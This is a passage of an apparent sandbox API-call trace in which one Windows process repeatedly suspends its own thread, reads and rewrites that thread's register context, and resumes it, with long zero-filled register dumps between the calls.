[27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0103.218] ResumeThread (hThread=0x130) returned 0x1
[0103.218] CloseHandle (hObject=0x130) returned 1
[0103.218] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0103.258] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0103.291] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0103.374] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0103.449] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0103.449] SuspendThread (hThread=0x130) returned 0x0
[0103.449] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001477d8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x14a8000, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0103.516] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001477d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0103.584] ResumeThread (hThread=0x130) returned 0x1
[0103.584] CloseHandle (hObject=0x130) returned 1
[0103.584] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0103.618] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0103.748] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0103.824] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0103.898] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0103.898] SuspendThread (hThread=0x130) returned 0x0
[0103.898] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147988, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x14c4a80, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0103.965] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147980, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0104.034] ResumeThread (hThread=0x130) returned 0x1
[0104.034] CloseHandle (hObject=0x130) returned 1
[0104.034] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0104.068] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0104.102] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0104.177] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0104.252] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0104.252] SuspendThread (hThread=0x130) returned 0x0
